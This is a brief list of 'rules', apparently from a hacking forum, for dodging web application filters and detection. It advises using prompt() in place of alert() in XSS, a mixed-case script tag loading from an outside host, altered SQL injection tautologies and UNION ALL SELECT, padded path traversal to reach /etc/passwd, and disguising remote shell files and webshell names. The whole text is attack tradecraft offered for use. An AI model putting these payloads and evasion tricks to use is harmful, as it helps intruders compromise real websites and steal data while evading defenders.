Some Rules__

1 stop using alert('xss')  ,use prompt('xss');
2 dont do <script> , do <ScRIPT x src=//0x.lv? ;
3 stop using ' or 1=1-- , use ' or 2=2-- ;
4 stop using UNION SELECT , use UNION ALL SELECT ;
5 dont do /etc/passwd , do /foo/../etc/bar/../passwd ;
6 dont use  http://xxx.com/r57.txt , use https://xxx.com/lol.txt ;
7 dont call webshell x99.php/shell.aspx or cmd.jsp , call it rofl.php ;